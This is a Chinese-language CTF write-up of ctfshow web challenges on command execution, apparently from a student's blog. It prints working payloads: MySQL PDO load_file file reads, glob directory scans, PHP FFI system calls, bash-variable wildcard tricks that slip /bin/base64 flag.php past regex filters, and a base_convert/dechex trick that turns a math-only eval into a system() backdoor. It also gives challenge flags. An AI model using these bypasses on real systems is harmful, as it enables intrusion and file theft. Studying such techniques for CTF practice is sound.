我们可以用其他应用来访问这个文件,比如MySQL,这时候我们可以直接用PDO,数据库名的话前面几道题都是可以查到的
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
查看hint:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
#通过payload扫描 flag36.txt
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
当然数据库也可以写shell,但是这不是我们的目的。
WEB76(数据库读文件RCE)
和上一题给出的回显是一样的
尝试使用上一题的解法:
glob扫描:
c=$a="glob:///*.txt";
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
exit();
发现看不了,换一个glob扫描脚本试试:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>
知道文件名flag36d.txt
PDO读取:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e){echo $e->getMessage();exit(0);}exit(0);
WEB77
- 命令执行最后一题,php7.4,基本上命令执行就告一段落了
- 最后,我想说:
不会供出来的,恩师,受徒儿一拜orz
glob扫描是flag36x.txt文件
按照上一题数据库读取没有查找出来,could not find driver
参考:羽师傅
hint:
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > /var/www/html/1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
WEB118(★bash内置变量构造命令)
打开界面,发现只有一个输入框:
尝试输入命令,显示evil input 不能进行输入!
输入whoami抓包:提交方式是POST
它是有过滤的,最好就是跑脚本或者bp测试过滤
~$(()),不能回显-0
echo也不可以执行
空格可以执行,那么就可以调用系统变量了丫!
虽然能调用系统变量,但是我们没有echo,只能在系统变量里面构造我们要的东西
我们只需要构造一个比较短的命令,nl
/var/www/html #ls /bin
nl是${PATH:~A}${PWD:~A} ????.??? / ${PATH:~0}${PWD:~0} ????.???
参考:https://blog.csdn.net/miuzzx/article/details/109181768#comments_13535967
Linux 基础知识:Bash的内置变量
部分举例:
在原来过滤的基础上增加了数字的过滤
而字母起到的作用是和0相同的,所有${PATH:~A}其实就是${PATH:~0}
payload: code=${PATH:~A}${PWD:~A} ????.??? 执行后查看源代码
$PWD就是当前路径
WEB119(★)
和上一题界面一样,尝试用上一题的解法,也显示evil input,说明nl被过滤
在118的基础上增加了 PATH、BASH、HOME的过滤
这时我们可以利用通配符 调用base64命令,也就是构造出 /bin/base64 flag.php
/???/?????4 ???.???
如果可以构造出来/和4不就可以了吗
在linux中可以用 ${#var}显示var变量的长度
只要找到一个变量的长度是4就可以了。/还是很好找的 $PWD的第一位就是了
我们发现${#RANDOM}可以实现
数字1可以用$SHLVL
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
payload:code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? (/bin/base64 flag.php)
ctfshow{02885e2b-a318-493f-ab07-5ce4effd67cf}
${SHLVL} //一般是一个个位数
${#SHLVL} //1,表示结果的字符长度
${PWD:${#}:${#SHLVL}} //表示/
${USER} //www-data
${PHP_VERSION:~A} //2
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} //at
其他payload:
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
${#}:${#SHLVL}就是0:1,取第一位
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}就是t
其他payload:
${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}} ——》 3
tac= ${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.??? (如果没有规定长度,这个payload是可以的)
linux环境变量
查看hint:
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
WEB120(★)
hint:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
本题给了源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
可以看到对输入的字符有长度限制,那么就想办法缩短上一题的payload,不使用at字符,只取用a字符:
还可以把${#}给省了,最终payload如下:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
查看网页源代码:
PHP_VERISON=7.3.22
${PHP_CFLAGS:~A} ——》4 ${#PHP_VERISON}——》6 井号表示取长度
?????${#PHP_VERISON}${PHP_CFLAGS:~A}——base64
?????${#PHP_VERISON}${PHP_CFLAGS:~A} ????.??? ——base64 flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??????${PHP_CFLAGS:~A} ????.???——?/bin/base64 flag.php
还可以尝试随机数,最终的命令为:
/bin/base64 flag.php
payload如下($RANDOM 的范围是 [0, 32767]):“摇色子”
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
WEB121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
又ban了好多,尝试构造以下命令(rev命令将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。):
/bin/rev flag.php
这里我们可以用${IFS}和${#}分别替代:
${#IFS}在ubuntu等系统中值为3,在kali中测试值为4
${#}为添加到shell的参数个数,${##}则为值,是1
最终的payload如下:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
${PWD::${##}}就是取pwd的第1个字符也就是/
既然${#SHLVL}被禁用,1没了,想办法再弄个1
杀手锏:$? 表示上一次执行命令的结果,上次命令执行结果1位非正常,0位正常,所以我们要让第一次不正常
先输入code=AAAA随便输入 让他不正常
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
去除换行再解码,否则会有乱码:
ctfshow{57e04946-9882-4d56-869a-c2d85b613808}
WEB122
hint:fuzz
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
PWD也被过滤了,我们可以找/开头的,HOME 没过滤,我们尝试用HOME
code=DBADKJDAKSHKJAH 要大写,因为小写过滤了,第一次不正常提交
code=${HOME::${#?}}???${HOME::${#?}}?????${#RANDOM} ????.???
井号也过滤了,我们直接删除井号
code=
WEB124
RCE
<?php
# -*- coding: utf-8 -*-
#这是2019年国赛题(入门)
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
我们可以通过构造GET或者POST
比如构造 _GET
我们可以通过:【背景】
<?php
echo base_convert(37907361743,10,36)(dechex(1598506324));//相当于echo A(B);动态函数调用//会生成_GET
hex2bin()(dechex()); //十六进制转十进制
//相当于常见的echo ('system')('dir');
//这就叫动态函数调用
?>
<?php
$a=base_convert(37907361743,10,36)(dechex(1598506324));//会生成_GET
//var_dump($a);
eval($$a['a']);//就变成了后门
?>
解题:
<?php
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php
eval($$a['a']);//就变成了后门
?>
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));pi{abs}(pi{acos});&abs=system&acos=cat flag.php
查看网页源代码得到flag